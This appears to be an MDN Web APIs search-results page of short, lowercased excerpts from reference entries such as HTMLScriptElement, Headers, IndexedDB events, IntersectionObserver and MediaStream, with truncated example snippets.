it indicates if the resource linked by it must match the mime type given by htmlobjectelement.type in order for
this resource to be used.
... recommendation the w3c specification is a latest of a previous version of html living standard first snapshot with
this property.
HTMLScriptElement - Web APIs
for scripts from other origins,
this controls if error information will be exposed.
...oerror) { throw new urierror("the script " + oerror.target.src + " didn't load correctly."); } function prefixscript(url, onloadfunction) { var newscript = document.createelement("script"); newscript.onerror = loaderror; if (onloadfunction) { newscript.onload = onloadfunction; } document.currentscript.parentnode.insertbefore(newscript, document.currentscript); newscript.src = url; }
this next function, instead of prepending the new scripts immediately before the document.currentscript element, appends them as children of the <head> tag.
HTMLSelectElement.autofocus - Web APIs
only one form-associated element in a document can have
this attribute specified.
... setting
this property doesn't set the focus to the associated <select> element: it merely tells the browser to focus to it when the element is inserted in the document.
HTMLShadowElement.getDistributedNodes() - Web APIs
the htmlshadowelement.getdistributednodes() method returns a static nodelist of the distributed nodes associated with
this <shadow> element.
... syntax var nodelist = object.getdistributednodes() example // get the distributed nodes var nodes = myshadowobject.getdistributednodes(); specifications
this feature is no longer defined by any specifications.
HTMLSlotElement.assignedNodes() - Web APIs
the assignednodes() property of the htmlslotelement interface returns a sequence of the nodes assigned to
this slot, and if the flatten option is set to true, the assigned nodes of any other slots that are descendants of
this slot.
... let slots =
this.shadowroot.queryselectorall('slot'); slots[1].addeventlistener('slotchange', function(e) { let nodes = slots[1].assignednodes(); console.log('element in slot "' + slots[1].name + '" changed to "' + nodes[0].outerhtml + '".'); }); here we grab references to all the slots, then add a slotchange event listener to the 2nd slot in the template — which is the one that keeps having its contents c...
HTMLSpanElement - Web APIs
pi/htmlspanelement" target="_top"><rect x="341" y="65" width="150" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="416" y="94" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">htmlspanelement</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} properties
this interface has no properties, but inherits properties from: htmlelement.
... methods
this interface has no methods, but inherits methods from: htmlelement.
HTMLStyleElement - Web APIs
this interface doesn't allow to manipulate the css it contains (in most case).
... htmlstyleelement.type is a domstring representing the type of style being applied by
this statement.
HTMLTableElement.createTFoot() - Web APIs
if no footer exists in the table,
this methods creates it, and then returns it.
... syntax htmltablesectionelement = table.createtfoot(); return value htmltablesectionelement example let myfoot = mytable.createtfoot(); // now
this should be true: myfoot == mytable.tfoot specifications specification status comment html living standardthe definition of 'htmltableelement: createtfoot' in that specification.
HTMLTableElement.createTHead() - Web APIs
if no header exists in the table,
this method creates it, and then returns it.
... syntax htmltablesectionelement = table.createthead(); return value htmltablesectionelement example let myhead = mytable.createthead(); // now
this should be true: myhead == mytable.thead specifications specification status comment html living standardthe definition of 'htmltableelement: createthead' in that specification.
HTMLTableElement.rows - Web APIs
this provides quick access to all of the table rows, without having to manually search for them.
... example myrows = mytable.rows; firstrow = mytable.rows[0]; lastrow = mytable.rows.item(mytable.rows.length-1);
this demonstrates how you can use both array syntax (line 2) and the htmlcollection.item() method (line 3) to obtain individual rows in the table.
HTMLTemplateElement - Web APIs
emplateelement" target="_top"><rect x="301" y="65" width="190" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="396" y="94" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">htmltemplateelement</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} properties
this interface inherits the properties of htmlelement.
... methods
this interface inherits the methods of htmlelement.
HTMLVideoElement.getVideoPlaybackQuality() - Web APIs
example
this example updates an element to indicate the total number of video frames that have elapsed so far in the playback process.
...
this value includes any dropped or corrupted frames, so it's not the same as "total number of frames played." var videoelem = document.getelementbyid("my_vid"); var counterelem = document.getelementbyid("counter"); var quality = videoelem.getvideoplaybackquality(); counterelem.innertext = quality.totalvideoframes; specifications specification status comment media playback qualitythe definition of 'htmlvideoelement.getvideoplaybackquality()' in that specification.
HTMLVideoElement.msIsStereo3D - Web APIs
this proprietary property is specific to internet explorer and microsoft edge.
...
this uses metadata set in mp4 or mpeg-2 file containers and h.264 supplemental enhancement information (sei) messages to determine the stereo capability of the source.
msStereo3DPackingMode - Web APIs
non-standard
this feature is non-standard and is not on a standards track.
...
this proprietary property is specific to internet explorer and microsoft edge.
msStereo3DRenderMode - Web APIs
non-standard
this feature is non-standard and is not on a standards track.
...
this proprietary property is specific to internet explorer and microsoft edge.
onMSVideoFormatChanged - Web APIs
non-standard
this feature is non-standard and is not on a standards track.
...
this proprietary property is specific to internet explorer and microsoft edge.
onMSVideoFrameStepCompleted - Web APIs
non-standard
this feature is non-standard and is not on a standards track.
...
this proprietary property is specific to internet explorer and microsoft edge.
HTMLVideoElement - Web APIs
this information includes things like the number of dropped or corrupted frames, as well as the total number of frames.
...listen to these events using addeventlistener() or by assigning an event listener to the oneventname property of
this interface.
HashChangeEvent - Web APIs
api/hashchangeevent" target="_top"><rect x="116" y="1" width="150" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="191" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">hashchangeevent</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} properties
this interface also inherits the properties of its parent, event.
... methods
this interface has no methods of its own, but inherits the methods of its parent, event.
Headers() - Web APIs
this can be a simple object literal with bytestring values; or an existing headers object.
... example creating an empty headers object is simple: var myheaders = new headers(); // currently empty you could add a header to
this using headers.append: myheaders.append('content-type', 'image/jpeg'); myheaders.get('content-type'); // returns 'image/jpeg' or you can add the headers you want as the headers object is created.
Headers.delete() - Web APIs
this method throws a typeerror for the following reasons: the value of the name parameter is not the name of an http header.
... example creating an empty headers object is simple: var myheaders = new headers(); // currently empty you could add a header to
this using headers.append: myheaders.append('content-type', 'image/jpeg'); myheaders.get('content-type'); // returns 'image/jpeg' you can then delete it again: myheaders.delete('content-type'); myheaders.get('content-type'); // returns null, as it has been deleted specifications specification status comment fetchthe definition of 'delete()' in that specification.
Headers.entries() - Web APIs
the headers.entries() method returns an iterator allowing to go through all key/value pairs contained in
this object.
... note:
this method is available in web workers.
Headers.has() - Web APIs
if the given name is not a valid http header name,
this method throws a typeerror.
... example creating an empty headers object is simple: var myheaders = new headers(); // currently empty you could add a header to
this using headers.append, then test for the existence of it using has(): myheaders.append('content-type', 'image/jpeg'); myheaders.has('content-type'); // returns true myheaders.has('accept-encoding'); // returns false specifications specification status comment fetchthe definition of 'has()' in that specification.
Headers.keys() - Web APIs
the headers.keys() method returns an iterator allowing to go through all keys contained in
this object.
... note:
this method is available in web workers.
Headers.set() - Web APIs
if the given name is not the name of an http header,
this method throws a typeerror.
... example creating an empty headers object is simple: var myheaders = new headers(); // currently empty you could add a header to
this using headers.append, then set a new value for
this header using set(): myheaders.append('content-type', 'image/jpeg'); myheaders.set('content-type', 'text/html'); if the specified header does not already exist, set() will create it and set its value to the specified value.
Headers.values() - Web APIs
the headers.values() method returns an iterator allowing to go through all values contained in
this object.
... note:
this method is available in web workers.
History.forward() - Web APIs
this method is asynchronous.
... browser compatibility the compatibility table on
this page is generated from structured data.
History API - Web APIs
moving forward and backward to move backward through history: window.history.back()
this acts exactly as if the user clicked on the back button in their browser toolbar.
... similarly, you can move forward (as if the user clicked the forward button), like
this: window.history.forward() moving to a specific point in history you can use the go() method to load a specific page from session history, identified by its relative position to the current page.
IDBCursor.request - Web APIs
note:
this feature is available in web workers.
... browser compatibility the compatibility table on
this page is generated from structured data.
IDBDatabase: error event - Web APIs
bubbles yes cancelable no interface event event handler property onerror examples
this example opens a database and tries to add a record, listening for the error event for the add() operation (
this will occur if, for example, a record with the given tasktitle already exists): // open the database const dbopenrequest = window.indexeddb.open('todolist', 4); dbopenrequest.onupgradeneeded = (event) => { const db = event.target.result; // create an objectstore for
this database const objectstore = db.createobjectstore('todolist', { keypath: 'tasktitle' }); // define what data items the objectstore will conta...
...adwrite'); const objectstore = transaction.objectstore('todolist'); const objectstorerequest = objectstore.add(newitem); }; the same example, using the onerror property instead of addeventlistener(): // open the database const dbopenrequest = window.indexeddb.open('todolist', 4); dbopenrequest.onupgradeneeded = (event) => { const db = event.target.result; // create an objectstore for
this database const objectstore = db.createobjectstore('todolist', { keypath: 'tasktitle' }); // define what data items the objectstore will contain objectstore.createindex('hours', 'hours', { unique: false }); objectstore.createindex('minutes', 'minutes', { unique: false }); objectstore.createindex('day', 'day', { unique: false }); objectstore.createindex('month', 'month', { unique: fals...
IDBIndex.locale - Web APIs
the locale read-only property of the idbindex interface returns the locale of the index (for example en-us, or pl) if it had a locale value specified upon its creation (see createindex()'s optionalparameters.) note that
this property always returns the current locale being used in
this index, in other words, it never returns "auto".
...we then open a basic cursor on the index using idbindex.opencursor —
this works the same as opening a cursor directly on an objectstore using idbobjectstore.opencursor except that the returned records are sorted based on the index, not the primary key.
IDBKeyRange.lower - Web APIs
note:
this feature is available in web workers.
... recommendation browser compatibility the compatibility table on
this page is generated from structured data.
IDBKeyRange.lowerOpen - Web APIs
note:
this feature is available in web workers.
... recommendation browser compatibility the compatibility table on
this page is generated from structured data.
IDBKeyRange.upper - Web APIs
note:
this feature is available in web workers.
... recommendation browser compatibility the compatibility table on
this page is generated from structured data.
IDBKeyRange.upperOpen - Web APIs
note:
this feature is available in web workers.
... recommendation browser compatibility the compatibility table on
this page is generated from structured data.
IDBMutableFile - Web APIs
non-standard
this feature is non-standard and is not on a standards track.
... note:
this interface used to be called filehandle , but it was changed to
this (bug 1006485.) as idbmutablefile objects are bound to a fake file system built on top of indexeddb, such an object is created using the idbdatabase.createmutablefile method.
IDBRequest: error event - Web APIs
bubbles yes cancelable no interface event event handler property onerror examples
this example opens a database and tries to add a record, listening for the error event for the add() operation (
this will occur if, for example, a record with the given tasktitle already exists): // open the database const dbopenrequest = window.indexeddb.open('todolist', 4); dbopenrequest.addeventlistener('upgradeneeded', event => { const db = event.target.result; db.onerror = () => { console.log('error creating database'); }; // create an objectstore for
this database var objectstore = db.createobjectstore('todolist', { keypath: 'tasktitle' }); // define what data ...
...error adding new item: ${newitem.tasktitle}`); }); }); the same example, using the onerror property instead of addeventlistener(): // open the database const dbopenrequest = window.indexeddb.open('todolist', 4); dbopenrequest.onupgradeneeded = event => { const db = event.target.result; db.onerror = () => { console.log('error creating database'); }; // create an objectstore for
this database var objectstore = db.createobjectstore('todolist', { keypath: 'tasktitle' }); // define what data items the objectstore will contain objectstore.createindex('hours', 'hours', { unique: false }); objectstore.createindex('minutes', 'minutes', { unique: false }); objectstore.createindex('day', 'day', { unique: false }); objectstore.createindex('month', 'month', { unique: false ...
IDBRequest: success event - Web APIs
bubbles no cancelable no interface event event handler property onsuccess examples
this example tries to open a database and listens for the success event using addeventlistener(): // open the database const openrequest = window.indexeddb.open('todolist', 4); openrequest.onupgradeneeded = (event) => { const db = event.target.result; db.onerror = () => { console.log('error creating database'); }; // create an objectstore for
this database var objectstore = db.createobjectstore('todolist', { keypath: 'tasktitle' }); // define what data items the objectstore will contain objectstore.createindex('hours', 'hours', { unique: false }); objectstore.createindex('min...
...', (event) => { console.log('database opened successfully!'); }); the same example, but using the onsuccess event handler property: // open the database const openrequest = window.indexeddb.open('todolist', 4); openrequest.onupgradeneeded = (event) => { const db = event.target.result; db.onerror = () => { console.log('error creating database'); }; // create an objectstore for
this database var objectstore = db.createobjectstore('todolist', { keypath: 'tasktitle' }); // define what data items the objectstore will contain objectstore.createindex('hours', 'hours', { unique: false }); objectstore.createindex('minutes', 'minutes', { unique: false }); objectstore.createindex('day', 'day', { unique: false }); objectstore.createindex('month', 'month', { unique: false ...
IDBTransaction: complete event - Web APIs
cancelable no interface event event handler property oncomplete examples using addeventlistener(): // open the database const dbopenrequest = window.indexeddb.open('todolist', 4); dbopenrequest.onupgradeneeded = event => { const db = event.target.result; db.onerror = () => { console.log('error creating database'); }; // create an objectstore for
this database var objectstore = db.createobjectstore('todolist', { keypath: 'tasktitle' }); // define what data items the objectstore will contain objectstore.createindex('hours', 'hours', { unique: false }); objectstore.createindex('minutes', 'minutes', { unique: false }); objectstore.createindex('day', 'day', { unique: false }); objectstore.createindex('month', 'month', { unique: false ...
..., day: 10, month: 'january', year: 2019 }; const objectstorerequest = objectstore.add(newitem); }; using the oncomplete property: // open the database const dbopenrequest = window.indexeddb.open('todolist', 4); dbopenrequest.onupgradeneeded = event => { const db = event.target.result; db.onerror = () => { console.log('error creating database'); }; // create an objectstore for
this database var objectstore = db.createobjectstore('todolist', { keypath: 'tasktitle' }); // define what data items the objectstore will contain objectstore.createindex('hours', 'hours', { unique: false }); objectstore.createindex('minutes', 'minutes', { unique: false }); objectstore.createindex('day', 'day', { unique: false }); objectstore.createindex('month', 'month', { unique: false ...
IDBTransaction: error event - Web APIs
bubbles yes cancelable no interface event event handler property onerror examples
this example opens a database and tries to add a record, listening for the error event for the add() operation (
this will occur if, for example, a record with the given tasktitle already exists): // open the database const dbopenrequest = window.indexeddb.open('todolist', 4); dbopenrequest.onupgradeneeded = (event) => { const db = event.target.result; // create an objectstore for
this database const objectstore = db.createobjectstore('todolist', { keypath: 'tasktitle' }); // define what data items the objectstore will c...
...k', hours: 10, minutes: 10, day: 10, month: 'january', year: 2020 }; const objectstorerequest = objectstore.add(newitem); }; the same example, using the onerror property instead of addeventlistener(): // open the database const dbopenrequest = window.indexeddb.open('todolist', 4); dbopenrequest.onupgradeneeded = (event) => { const db = event.target.result; // create an objectstore for
this database const objectstore = db.createobjectstore('todolist', { keypath: 'tasktitle' }); // define what data items the objectstore will contain objectstore.createindex('hours', 'hours', { unique: false }); objectstore.createindex('minutes', 'minutes', { unique: false }); objectstore.createindex('day', 'day', { unique: false }); objectstore.createindex('month', 'month', { unique: fals...
IDBVersionChangeEvent.version - Web APIs
warning: while
this property is still implemented in older browsers, the latest specification replaces it with the oldversion and newversion attributes.
... browser compatibility the compatibility table on
this page is generated from structured data.
IDBVersionChangeRequest - Web APIs
warning: the latest specification does not include
this interface anymore as the idbdatabase.setversion() method has been removed.
... browser compatibility the compatibility table on
this page is generated from structured data.
IIRFilterNode.getFrequencyResponse() - Web APIs
the two output arrays, magresponseoutput and phaseresponseoutput, must be created before calling
this method; they must be the same size as the array of input frequency values (frequencyarray).
... examples in the following example we are using an iir filter on a media stream (for a complete full demo, see our stream-source-buffer demo live, or read its source.) as part of
this demo, we get the frequency responses for
this iir filter, for five sample frequencies.
IdleDeadline.timeRemaining() - Web APIs
the callback can call
this method at any time to determine how much time it can continue to work before it must return.
... if the idledeadline object's didtimeout property is true,
this method returns zero.
ImageData.data - Web APIs
syntax imagedata.data examples getting an imagedata object's pixel data
this example creates an imagedata object that is 100 pixels wide and 100 pixels tall, making 10,000 pixels in all.
... let imagedata = new imagedata(100, 100); console.log(imagedata.data); // uint8clampedarray[40000] console.log(imagedata.data.length); // 40000 filling a blank imagedata object
this example creates and fills a new imagedata object with colorful pixels.
firesTouchEvents - Web APIs
you can use
this property to detect mouse events that represent an action that may already have been handled by touch event handlers.
...
this doesn't necessarily mean the device is a touch screen.
InputDeviceCapabilities - Web APIs
events caused by the same physical input device get the same instance of
this object, but the converse isn't true.
...
this allows, for example, touchscreen keyboards and physical keyboards to be represented the same way when they produce the same input.
InputEvent.dataTransfer - Web APIs
<p><span style="font-weight: bold; color: blue">whoa, bold blue text!</span></p> <p><span style="font-style: italic; color: red">exciting: italic red text!</span></p> <p>boring normal text ;-(</p> <hr> <p contenteditable="true">go on, try pasting some content into
this editable paragraph and see what happens!</p> <p class="result"></p> var editable = document.queryselector('p[contenteditable]'); var result = document.queryselector('.result') var datatransferobj; editable.addeventlistener('input', (e) => { result.textcontent = e.datatransfer.getdata('text/html'); }); specifications specification status comment input events level ...
... browser compatibility the compatibility table on
this page is generated from structured data.
enabled - Web APIs
summary indicates whether or not software installation is enabled for
this client machine.
... method of installtrigger object syntax boolean enabled (); parameters none returns true if software installation is enabled for
this client machine; otherwise, false.
install - Web APIs
in the example below, a single installation object is created, but you can use
this approach to create multiple installations to pass to a single install.
... as with the older startsoftwareupdate method, xpis installed with
this method must have their own install.js files in which the full installation is defined.
startSoftwareUpdate - Web APIs
this method has been largely superseded by newer install method, which is more flexible and allows you to install more than one xpi.
... note also that xpis installed with
this method must have their own install.js files in which the full installation is defined.
IntersectionObserver.observe() - Web APIs
note that
this design allows multiple elements' intersection changes to be processed by a single call to the callback.
...
this element must be a descendant of the root element (or contained wtihin the current document, if the root is the document's viewport).
IntersectionObserver.root - Web APIs
the intersection of
this bounding rectangle, offset by any margins specified in the options passed to the intersectionobserver() constructor, the target element's bounds, minus the bounds of every element or other object which overlaps the target element, is considered to be the visible area of the target element.
... example
this example sets the border of the intersection observer's root element to be a 2-pixel medium green line.
IntersectionObserver.rootMargin - Web APIs
this lets you, for example, adjust the bounds outward so that the target element is considered 100% visible even if a certain number of pixels worth of width or height is clipped away, or treat the target as partially hidden if an edge is too close to the edge of the root's bounding box.
... the string returned by
this property may not match the one specified when the intersectionobserver was instantiated.
IntersectionObserver.unobserve() - Web APIs
if the specified element isn't being observed,
this method does nothing and no exception is thrown.
... example
this snippet simply shows an observer being created, an element being observed, and then being unobserved.
IntersectionObserverEntry.boundingClientRect - Web APIs
this value is obtained using the same algorithm as element.getboundingclientrect(), so refer to that article for details on precisely what is done to obtain
this rectangle and what is and is not included within its bounds.
... in the general case, however, it's safe to simply think of
this as the bounds rectangle of the target element.
IntersectionObserverEntry.intersectionRatio - Web APIs
more precisely,
this value is the ratio of the area of the intersection rectangle (intersectionrect) to the area of the target's bounds rectangle (boundingclientrect).
... example in
this simple example, an intersection callback sets each target element's opacity to the intersection ratio of that element with the root.
IntersectionObserverEntry.intersectionRect - Web APIs
this rectangle is computed by taking the intersection of boundingclientrect with each of the target's ancestors' clip rectangles, with the exception of the intersection root itself.
... example in
this simple example, an intersection callback stores the intersection rectangle for later use by the code that draws the target elements' contents, so that only the visible area is redrawn.
IntersectionObserverEntry.isIntersecting - Web APIs
if
this is true, then, the intersectionobserverentry describes a transition into a state of intersection; if it's false, then you know the transition is from intersecting to not-intersecting.
... example in
this simple example, an intersection callback is used to update a counter of how many targeted elements are currently intersecting with the intersection root.
IntersectionObserverEntry - Web APIs
if
this is true, then, the intersectionobserverentry describes a transition into a state of intersection; if it's false, then you know the transition is from intersecting to not-intersecting.
... methods
this interface has no methods.
InterventionReportBody - Web APIs
this can be used to group reports by deprecated feature.
...
this typically matches the message a browser will display in its devtools console when an intervention is imposed, if one is available.
KeyboardLayoutMap.forEach() - Web APIs
syntax keyboardlayoutmap.foreach(function callback(currentvalue[, index[, array]]) { //your iterator }[,
thisarg]); parameters callback the function to execute for each element, taking three arguments: currentvalue the value of the current element being processed.
...
thisarg optional value to use as
this (i.e the reference object) when executing callback.
LayoutShift - Web APIs
note that in
this example data is only sent to the server when the user leaves the tab.
... observer.takerecords(); observer.disconnect(); console.log('cls:', cumulativelayoutshiftscore); } }); } catch (e) { // do nothing if the browser doesn't support
this api.
LinkStyle - Web APIs
linkstyle is a raw interface and no object of
this type can be created; it is implemented by htmllinkelement and htmlstyleelement objects.
... methods
this interface implements no method.
Location: origin - Web APIs
note:
this feature is available in web workers.
... syntax string = object.origin; examples // on
this page, returns the origin var result = window.location.origin; // returns:'https://developer.mozilla.org' specifications specification status comment html living standardthe definition of 'origin' in that specification.
Location: replace() - Web APIs
this happens if the origin of the script calling the method is different from the origin of the page originally described by the location object, mostly when the script is hosted on a different domain.
... examples // navigate to the location.reload article by replacing
this page window.location.replace('/docs/web/api/location.reload'); specifications specification status comment html living standardthe definition of 'location.replace()' in that specification.
Location - Web APIs
title]:before {margin-top:1.5em;} [title] [title] [title]:before {margin-top:3em;} [title]:hover, :target {position:relative; z-index:1; outline:50em solid rgba(255,255,255,.8);} javascript [].foreach.call(document.queryselectorall('[title][id]'), function (node) { node.addeventlistener("click", function(e) { e.preventdefault(); e.stoppropagation(); window.location.hash = '#' + $(
this).attr('id'); }); }); [].foreach.call(document.queryselectorall('[title]'), function (node) { node.addeventlistener("click", function(e) { e.preventdefault(); e.stoppropagation(); window.location.hash = ''; }); }); result properties location.ancestororigins is a static domstringlist containing, in reverse order, the origins of all ancestor browsing contexts of the documen...
... examples // create anchor element and use href property for the purpose of
this example // a more correct alternative is to browse to the url and use document.location or window.location var url = document.createelement('a'); url.href = 'https://developer.mozilla.org:8080/search?q=url#search-results-close-container'; console.log(url.href); // https://developer.mozilla.org:8080/search?q=url#search-results-close-container console.log(url.protocol); // https: console.log(...
LockedFile.append() - Web APIs
non-standard
this feature is non-standard and is not on a standards track.
... the write operation is performed at the end of the file, regardless of the lockedfile.location value, and actually sets
this value to null.
LockedFile.flush() - Web APIs
non-standard
this feature is non-standard and is not on a standards track.
...
this allows fast writing and reading operations.
LockedFile.readAsText() - Web APIs
non-standard
this feature is non-standard and is not on a standards track.
...by default, utf-8 is assumed if
this parameter is not specified.
MIDIConnectionEvent - Web APIs
this occurs any time a new port becomes available, or when a previously available port becomes unavailable.
... for example,
this event is fired whenever a midi device is either plugged in to or unplugged from a computer.
MSGraphicsTrust - Web APIs
non-standard
this feature is non-standard and is not on a standards track.
...
this proprietary method is specific to internet explorer and microsoft edge.
MSManipulationEvent - Web APIs
non-standard
this feature is non-standard and is not on a standards track.
...
this proprietary method is specific to internet explorer.
Magnetometer.x - Web APIs
this is not something that would ever be shown to a user.
...in the example below
this occurs sixty times a second.
Magnetometer.y - Web APIs
this is not something that would ever be shown to a user.
...in the example below
this occurs sixty times a second.
Magnetometer.z - Web APIs
this is not something that would ever be shown to a user.
...in the example below
this occurs sixty times a second.
MediaCapabilities.decodingInfo() - Web APIs
the mediacapabilities.decodinginfo() method, part of the media capabilities api, returns a promise with the tested media configuration's mediacapabilitiesinfo;
this contains the three boolean properties supported, smooth, and powerefficient, which describe whether decoding the media described would be supported, smooth, and powerefficient.
... }, }; // check support and performance navigator.mediacapabilities.decodinginfo(mediaconfig).then(result => { console.log('
this configuration is ' + (result.supported ?
MediaCapabilities.encodingInfo() - Web APIs
the mediacapabilities.encodinginfo() method, part of the mediacapabilities interface of the media capabilities api, returns a promise with the tested media configuration's mediacapabilitiesinfo;
this contains the three boolean properties supported, smooth, and powerefficient, which describe how compatible the device is with the type of media.
... } }; // check support and performance navigator.mediacapabilities.encodinginfo(mediaconfig).then(result => { console.log('
this configuration is ' + (result.supported ?
MediaCapabilitiesInfo - Web APIs
browsers will report a supported media configuration as smooth and powerefficient until stats on
this device have been recorded.
... example // mediaconfiguration to be tested const mediaconfig = { type : 'file', audio : { contenttype : "audio/ogg", channels : 2, bitrate : 132700, samplerate : 5200 }, }; // check support and performance navigator.mediacapabilities.decodinginfo(mediaconfig).then(result => { // result contains the media capabilities information console.log('
this configuration is ' + (result.supported ?
MediaDecodingConfiguration - Web APIs
this takes one of two values: file: represents a configuration that is meant to be used for a plain file playback.
... } }; // check support and performance navigator.mediacapabilities.decodinginfo(mediaconfig).then(result => { console.log('
this configuration is ' + (result.supported ?
MediaDeviceInfo - Web APIs
mediadeviceinfo.labelread only returns a domstring that is a label describing
this device (for example "external usb webcam").
... navigator.mediadevices.enumeratedevices() .then(function(devices) { devices.foreach(function(device) { console.log(device.kind + ": " + device.label + " id = " + device.deviceid); }); }) .catch(function(err) { console.log(err.name + ": " + err.message); });
this might produce: videoinput: id = cso9c0ypaf274oucpua53cne0yhlir2yxci+sqfbzz8= audioinput: id = rkxxbyjnabbadgqnnzqlvldmxls0yketycibg+xxnvm= audioinput: id = r2/xw1xupiyzunfv1lgrkoma5wtovckwfz368xcndm0= or if one or more media streams are active, or if persistent permissions have been granted: videoinput: facetime hd camera (built-in) id=cso9c0ypaf274oucpua53cne0yhlir2yxci+sqfbzz8= audioinput: d...
MediaDevices.getDisplayMedia() - Web APIs
another potential cause for
this event: the document in whose context getdisplaymedia() was called is not fully active; for example, perhaps it is not the frontmost tab.
... async function startcapture(displaymediaoptions) { let capturestream = null; try { capturestream = await navigator.mediadevices.getdisplaymedia(displaymediaoptions); } catch(err) { console.error("error: " + err); } return capturestream; }
this uses await to asynchronously wait for getdisplaymedia() to resolve with a mediastream which contains the display contents as requested by the specified options.
expiration - Web APIs
this value is determined by the cdm and measured in milliseconds since january 1, 1970, utc.
...
this value may change during a session lifetime, such as when an action triggers the start of a window.
MediaPositionState - Web APIs
this should always be a positive number, with positive infinity (infinity) indicating media without a defined end, such as a live stream.
...
this must always be a positive value.
MediaQueryList.addListener() - Web APIs
this is basically an alias for eventtarget.addeventlistener(), for backwards compatibility purposes.
... examples var para = document.queryselector('p'); var mql = window.matchmedia('(max-width: 600px)'); function screentest(e) { if (e.matches) { /* the viewport is 600 pixels wide or less */ para.textcontent = '
this is a narrow screen — less than 600px wide.'; document.body.style.backgroundcolor = 'red'; } else { /* the viewport is more than than 600 pixels wide */ para.textcontent = '
this is a wide screen — more than 600px wide.'; document.body.style.backgroundcolor = 'blue'; } } mql.addlistener(screentest); specifications specification status comment css o...
MediaQueryList.removeListener() - Web APIs
this is basically an alias for eventtarget.removeeventlistener(), for backwards compatibility purposes — in older browsers you could use removeeventlistener() instead.
... examples var mql = window.matchmedia('(max-width: 600px)'); function screentest(e) { if (e.matches) { /* the viewport is 600 pixels wide or less */ para.textcontent = '
this is a narrow screen — less than 600px wide.'; document.body.style.backgroundcolor = 'red'; } else { /* the viewport is more than than 600 pixels wide */ para.textcontent = '
this is a wide screen — more than 600px wide.'; document.body.style.backgroundcolor = 'blue'; } } mql.addlistener(screentest); // later on, when it is no longer needed mql.removelistener(screentest); ...
MediaQueryListListener - Web APIs
this feature is outdated.
...
this makes it possible to observe a document to detect when its media queries change, instead of polling the values periodically, if you need to detect changes to the values of media queries on a document.
MediaRecorder.audioBitsPerSecond - Web APIs
this may differ from the bit rate specified in the constructor (if it was provided).
... browser compatibility the compatibility table in
this page is generated from structured data.
MediaRecorder.ignoreMutedMedia - Web APIs
if
this attribute is false, mediarecorder will record silence for audio and black frames for video.
... browser compatibility the compatibility table in
this page is generated from structured data.
MediaRecorderErrorEvent() - Web APIs
this object's name property should indicate the name of the error that occurred.
... some user agents add to the error object other properties that provide information such as stack dumps, the name of the javascript file and the line number where the error occurred, and other debugging aids, but you should not rely on
this information in a production environment.
MediaSession.playbackState - Web APIs
the value may be one of the following: none the browsing context doesn't currently know the current playback state, or the playback state is not available at
this time.
... browser compatibility the compatibility table on
this page is generated from structured data.
MediaSession.setActionHandler() - Web APIs
this action may or may not be available, depending on the platform and user agent, or may be disabled due to subscription level or other circumstances.
... examples adding action handlers
this example implements seek forward and backward actions for an audio player by setting up the seekforward and seekbackward action handlers.
MediaSource.duration - Web APIs
exceptions the following exceptions may be thrown when setting a new value for
this property.
...their sourcebuffer.updating property is true.) example the following snippet is based on a simple example written by nick desaulniers (view the full demo live, or download the source for further investigation.) function sourceopen (_) { //console.log(
this.readystate); // open var mediasource =
this; var sourcebuffer = mediasource.addsourcebuffer(mimecodec); fetchab(asseturl, function (buf) { sourcebuffer.addeventlistener('updateend', function (_) { mediasource.endofstream(); mediasource.duration = 120; video.play(); //console.log(mediasource.readystate); // ended }); sourcebuffer.appendbuffer(buf); }); }...
MediaSource.setLiveSeekableRange() - Web APIs
if the duration of the media source is positive infinity, then the timeranges object returned by the htmlmediaelement.seekable property will have a start timestamp no greater than
this value.
...if the duration of the media source is positive infinity, then the timeranges object returned by the htmlmediaelement.seekable property will have an end timestamp no less than
this value.
MediaSource.sourceBuffers - Web APIs
the sourcebuffers read-only property of the mediasource interface returns a sourcebufferlist object containing the list of sourcebuffer objects associated with
this mediasource.
... example the following snippet is based on a simple example written by nick desaulniers (view the full demo live, or download the source for further investigation.) function sourceopen (_) { //console.log(
this.readystate); // open var mediasource =
this; var sourcebuffer = mediasource.addsourcebuffer(mimecodec); fetchab(asseturl, function (buf) { sourcebuffer.addeventlistener('updateend', function (_) { mediasource.endofstream(); console.log(mediasource.sourcebuffers); // will contain the source buffer that was added above video.play(); //console.log(mediasource.readystate); // ended }); sourcebuffer.appendbuffer(buf); }); }; ...
MediaStream.getTrackById() - Web APIs
if there is no track with the specified id,
this method returns null.
... example
this example activates a commentary track on a video by ducking the audio level of the main audio track to 50%, then enabling the commentary track.
MediaStream.getTracks() - Web APIs
the gettracks() method of the mediastream interface returns a sequence that represents all the mediastreamtrack objects in
this stream's track set, regardless of mediastreamtrack.kind.
... browser compatibility the compatibility table on
this page is generated from structured data.
MediaStream.getVideoTracks() - Web APIs
the getvideotracks() method of the mediastream interface returns a sequence of mediastreamtrack objects representing the video tracks in
this stream.
... early versions of
this api included a special videostreamtrack interface which was used as the type for each entry in the list of video streams; however,
this has since been merged into the main mediastreamtrack interface.
MediaStream.id - Web APIs
browser compatibility the compatibility table on
this page is generated from structured data.
...— 6.0legend full support full support no support no support see also mediastream, the interface
this property belongs to.
MediaStreamAudioSourceNode() - Web APIs
examples
this example uses getusermedia() to obtain access to the user's camera, then creates a new mediastreamaudiosourcenode from its mediastream.
... // define variables var audioctx = new (window.audiocontext || window.webkitaudiocontext)(); // getusermedia block - grab stream // put it into a mediastreamaudiosourcenode if (navigator.mediadevices.getusermedia) { navigator.mediadevices.getusermedia ( // constraints: audio and video for
this app { audio: true, video: false }).then(function(stream) { var options = { mediastream : stream } var source = new mediastreamaudiosourcenode(audioctx, options); source.connect(audioctx.destination); }).catch(function(err) { console.log('the following gum error occured: ' + err); }); } else { console.log('new getusermedia not supported on your browser!'); } specifications specification ...
MediaStreamAudioSourceNode.mediaStream - Web APIs
this stream was specified when the node was first created, either using the mediastreamaudiosourcenode() constructor or the audiocontext.createmediastreamsource() method.
